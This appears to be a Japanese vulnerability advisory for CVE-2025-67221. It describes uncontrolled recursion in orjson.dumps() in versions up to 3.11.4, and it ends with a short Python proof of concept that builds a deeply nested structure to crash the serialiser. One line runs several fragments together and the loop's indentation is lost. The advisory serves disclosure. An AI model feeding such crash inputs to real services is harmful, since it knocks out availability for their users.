| フィールド | 値 |
|---|---|
| CVE ID | CVE-2025-67221 |
| 影響を受ける製品 | orjson |
| 影響を受けるバージョン | ≤ 3.11.4 |
| 脆弱性の種類 | サービス拒否 (制御不能な再帰) |
| 攻撃ベクトル | リモート (攻撃者が直列化データを制御可能な場合) |
orjson バージョン 3.11.4 以前の orjson.dumps() 関数にサービス拒否の脆弱性が存在します。この関数は、深くネストされた JSON データ構造を直列化する際に再帰制限を適用しません。アプリケーションに攻撃者が制御するネストされたデータを直列化させることができる攻撃者は、直列化ルーチンでクラッシュを引き起こす可能性があります。
orjson.dumps()pysrc/orjson/__init__.pyiテスト環境:
orjson を使用して信頼できないデータ構造や攻撃者によって制御されたデータ構造を直列化するアプリケーションは、サービス拒否攻撃に対して脆弱になる可能性があります。
ローカルで脆弱性を再現するコード:
import orjson
import sys
import platform
print(f'OS: {platform.platform()}')
print(f'Python version: {sys. version}')
print(f'orjson version: {orjson.__version__}')
nested = []
for i in range(100):
nested = [{"level": i, "next": nested}]
dumped = orjson.dumps(nested)
##デモ
上記のコードは見事なコアダンプを引き起こします
